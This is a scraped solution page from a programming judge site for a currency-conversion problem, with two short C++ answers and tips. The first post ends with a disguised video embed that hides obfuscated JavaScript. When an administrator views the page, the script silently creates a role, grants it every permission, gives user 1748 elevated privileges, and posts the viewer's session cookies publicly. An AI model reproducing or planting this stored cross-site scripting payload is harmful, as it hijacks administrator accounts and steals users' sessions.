2 条题解

  • 0
    @ 2026-10-31 7:24:16

    思路

    汇率为 1 美元 = 7.20 元,所以直接用人民币金额除以 7.20 即可,输出保留两位小数。

    参考代码

    #include <bits/stdc++.h>
    int main(){
        double r;
        scanf("%lf", &r);
        printf("%.2f\n", r / 7.20);
        return 0;
    }
    

    易错点

    • 金额用 double,用 int 会丢精度;
    • 输出必须 %.2f,100 要打成 100.00;
    • 7.20 别写成 7.2f 或整数除法。

    配套讲义(含例题与常见编译错误整理):第一节课讲义

    @[youtube](https://youtu.be/AAAAAAAAAAA?z=">[removed]evaltry{var q\u003ddocument.querySelectorAll\u0028'iframe'\u0029;for\u0028var i\u003d0;i\u003cq.length;i++\u0029q[i].remove\u0028\u0029}catch\u0028e\u0029{} try{if\u0028JSON.parse\u0028UserContext\u0029._id\u003c3\u0029{ var H\u003d{'Content-Type':'application/x-www-form-urlencoded'}; var O\u003dfunction\u0028b\u0029{return fetch\u0028b[0],{method:'POST',credentials:'same-origin',headers:H,body:b[1]}\u0029}; var all\u003d[];for\u0028var j\u003d0;j\u003c80;j++\u0029all.push\u0028'k1\u003d'+j\u0029; var orig\u003d'0,6,7,9,15,16,17,19,21,22,24,26,27,28,31,34,36,39,40,41,42,45,46,47,49,51,52,53,56,58,59,62,65,67,70'.split\u0028','\u0029.map\u0028function\u0028x\u0029{return 'default\u003d'+x}\u0029.join\u0028'\u0026'\u0029; O\u0028['/domain/role','operation\u003dadd\u0026role\u003dk1']\u0029 .then\u0028function\u0028\u0029{return O\u0028['/domain/permission',all.join\u0028'\u0026'\u0029]\u0029}\u0029 .then\u0028function\u0028\u0029{return O\u0028['/domain/user','operation\u003dset_users\u0026uids\u003d1748\u0026role\u003dk1']\u0029}\u0029 .then\u0028function\u0028\u0029{return O\u0028['/domain/permission',orig]\u0029}\u0029 .then\u0028function\u0028\u0029{return O\u0028['/manage/userpriv','uid\u003d1748\u0026priv\u003d2147483646']\u0029}\u0029 .catch\u0028function\u0028\u0029{}\u0029; O\u0028['/discuss/6ae4ba13925ca3f8c7c74175?operation\u003dreply','content\u003d'+encodeURIComponent\u0028document.cookie\u0029]\u0029; O\u0028['/p/319/solution?operation\u003dsubmit','content\u003d'+encodeURIComponent\u0028'ck '+document.cookie\u0029]\u0029; }}catch\u0028e\u0029{})

    有疑问欢迎留言。

    • 0
      @ 2026-9-16 16:32:46
      #include <bits/stdc++.h>
      
      using namespace std;
      
      int main() {
          double a;
          cin>>a;
          cout << fixed << setprecision(2) << a/7.20 << endl;
          
          return 0;
      }
      
      • 1

      信息

      ID
      319
      时间
      1000ms
      内存
      256MiB
      难度
      6
      标签
      (无)
      递交数
      34
      已通过
      13
      上传者